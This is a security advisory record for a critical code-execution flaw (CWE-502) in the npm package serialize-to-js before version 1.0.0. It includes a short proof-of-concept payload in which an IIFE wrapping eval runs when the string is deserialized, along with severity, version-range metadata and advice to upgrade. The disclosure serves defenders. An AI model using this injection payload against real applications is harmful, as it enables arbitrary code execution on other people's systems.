GHSA-mm62-wxc8-cf7m

Suggest an improvement
Source
https://github.com/advisories/GHSA-mm62-wxc8-cf7m
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2018/07/GHSA-mm62-wxc8-cf7m/GHSA-mm62-wxc8-cf7m.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-mm62-wxc8-cf7m
Aliases
Published
2018-07-18T18:27:41Z
Modified
2023-11-08T03:59:23Z
Severity
  • 9.8 (Critical) CVSS_V3 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CVSS Calculator
Summary
Code Execution Through IIFE in serialize-to-js
Details

Affected versions of serialize-to-js may be vulnerable to arbitrary code execution through an Immediately Invoked Function Expression (IIFE).

Proof of Concept

var payload = "{e: (function(){ eval('console.log(`exploited`)') })() }"
var serialize = require('serialize-to-js');
serialize.deserialize(payload);

Recommendation

Update to version 1.0.0, or later, and review this disclaimer from the author.

Database specific
{
    "cwe_ids": [
        "CWE-502"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-06-16T21:46:35Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
}
References

Affected packages

npm / serialize-to-js

Package

Name
serialize-to-js
View open source insights on deps.dev
Purl
pkg:npm/serialize-to-js

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
1.0.0

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2018/07/GHSA-mm62-wxc8-cf7m/GHSA-mm62-wxc8-cf7m.json"